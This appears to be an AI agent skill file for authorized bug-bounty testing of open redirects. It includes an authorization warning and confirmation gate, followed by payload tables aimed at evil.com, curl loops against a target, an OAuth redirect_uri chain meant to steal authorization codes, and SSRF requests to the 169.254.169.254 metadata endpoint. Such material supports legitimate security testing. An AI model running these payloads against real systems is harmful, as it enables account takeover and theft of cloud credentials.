⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
Open redirect alone is Low. Chained to OAuth = Critical (ATO).
Highest-value chains:
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=
| Technique | Payload |
|---|---|
| Basic | https://evil.com |
| Protocol relative | //evil.com |
| Backslash bypass | /\\evil.com |
| At-sign confusion | https://target.com@evil.com |
| Double slash | //evil.com/%2F.. |
| URL encoding | %2Fevil.com |
| Null byte | evil.com%00target.com |
| Whitespace | evil.com%09 or %20 |
| JavaScript URI | javascript:window.location='https://evil.com' |
| Data URI | data:text/html,<script>window.location='https://evil.com'</script> |
| Subdomain | https://target.com.evil.com |
| Fragment | https://evil.com#.target.com |
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://$TARGET@evil.com"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
done
Server-side Location: grepping misses redirects that happen purely in JS. Source (location.hash/location.search/document.referrer) assigned to a navigation sink.
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
| grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
# Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;
(PortSwigger: DOM-based open redirection.)
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
-H "Cookie: $SESSION"
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
| Open redirect finding | Chain to | Impact |
|---|---|---|
| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |
| Any open redirect | Phishing URL with target domain | Social engineering |
| Server-side redirect | SSRF via followed redirect | Internal service access |
| Logout redirect | Session fixation | Force login with known session |
✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page
Severity:
triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.